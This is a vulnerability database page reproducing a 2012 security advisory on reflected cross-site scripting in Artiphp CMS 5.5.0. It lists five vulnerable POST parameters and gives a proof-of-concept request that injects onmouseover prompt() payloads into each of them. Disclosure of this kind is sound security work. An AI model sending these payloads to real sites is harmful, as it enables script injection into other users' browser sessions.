Vulners
Lucene search
Artiphp CMS v5.5.0 Multiple XSS POST Injection Vulnerabilities
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-2012-2906 | 17 May 201200:00 | – | circl |
 | CVE-2012-2906 | 21 May 201218:00 | – | cve |
 | CVE-2012-2906 | 21 May 201218:00 | – | cvelist |
 | CVE-2012-2906 | 21 May 201218:55 | – | nvd |
 | Cross site scripting | 21 May 201218:55 | – | prion |
<html><body><p>Artiphp CMS v5.5.0 Multiple XSS POST Injection Vulnerabilities
Vendor: Artiphp
Product web page: http://www.artiphp.com
Affected version: 5.5.0 Neo (r422)
Summary: Artiphp is a content management system (CMS) open and free to create and manage your website.
Desc: Artiphp CMS suffers from multiple cross-site scripting vulnerabilities via several parameters thru POST method.
Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user's browser session.
======================================================================================================================
PARAM METHOD SCRIPT
======================================================================================================================
add_img_name_post POST /artpublic/recommandation/index.php
----------------------------------------------------------------------------------------------------------------------
asciiart_post POST /artpublic/recommandation/index.php
----------------------------------------------------------------------------------------------------------------------
expediteur POST /artpublic/recommandation/index.php
----------------------------------------------------------------------------------------------------------------------
titre_sav POST /artpublic/recommandation/index.php
----------------------------------------------------------------------------------------------------------------------
z39d27af885b32758ac0e7d4014a61561 POST /artpublic/recommandation/index.php
======================================================================================================================
Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
PHP 5.3.8
MySQL 5.5.20
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2012-5090
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5090.php
15.05.2012
--
======================================================================================================================
POST /artpublic/recommandation/index.php HTTP/1.1
Content-Length: 619
Content-Type: application/x-www-form-urlencoded
Cookie: ARTI=tsouvg67cld88k9ihbqfgk3k77
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
add_img_name_post "onmouseover=prompt(1) joxy
adresse_destinataire
adresse_expediteur lab%40zeroscience.mk
asciiart_post "onmouseover=prompt(2) joxy
expediteur "onmouseover=prompt(3) joxy
message Hello%20World
message1 %ef%bf%bd%20Recommand%20%ef%bf%bd%0a%bb%20http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
send Send
titre_sav "onmouseover=prompt(4) joxy
url_sav http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
z39d27af885b32758ac0e7d4014a61561 "onmouseover=prompt(5) joxy
zd178e6cdc57b8d6ba3024675f443e920 2
=====================================================================================================================
</p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 May 2012 00:00Current
6Medium risk
Vulners AI Score6
CVSS 24.3
EPSS0.11816